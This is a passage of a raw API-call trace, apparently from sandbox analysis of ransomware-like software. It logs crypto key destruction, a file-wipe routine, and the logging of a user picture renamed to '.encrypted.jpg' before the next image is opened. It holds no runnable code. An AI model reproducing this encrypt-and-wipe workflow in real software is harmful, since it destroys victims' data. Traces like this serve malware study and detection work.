wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.316] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.316] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.316] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.316] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.316] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.316] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.316] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.316] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.316] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.316] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.317] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.317] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.321] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.321] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.321] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.322] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.322] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.322] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.322] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.322] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.322] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.322] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.322] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0028.322] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.322] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.322] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.323] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.323] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.323] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.323] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.323] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.323] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.323] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.323] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.323] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.323] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.323] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.324] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.324] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.324] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.325] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.326] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.329] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.329] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.329] CharLowerBuffW (in: lpsz="byte[65717]", cchLength=0xb | out: lpsz="byte[65717]") returned 0xb [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.330] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.330] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.330] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.330] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.331] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.331] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.331] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.331] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.331] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.331] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.332] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.332] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.332] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.333] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.333] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.333] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.333] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.333] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.333] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.333] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=8887) returned 1 [0028.333] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.333] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.333] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.333] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x22b7, lpOverlapped=0x0) returned 1 [0028.333] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.333] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x22b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.333] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=8887) returned 1 [0028.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\NtFBb.encrypted.jpg\r\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0028.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\NtFBb.encrypted.jpg\r\n", cchWideChar=67, lpMultiByteStr=0xe8f4052170, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\NtFBb.encrypted.jpg\r\n", lpUsedDefaultChar=0x0) returned 67 [0028.333] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069830*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069830*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x42, lpOverlapped=0x0) returned 1 [0028.334] CloseHandle (hObject=0x188) returned 1 [0028.335] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.335] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.335] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.335] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.335] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.335] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.336] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.336] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.337] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178820, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.337] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178820, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.337] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\4cYf0DEU1Rr.png", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0028.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 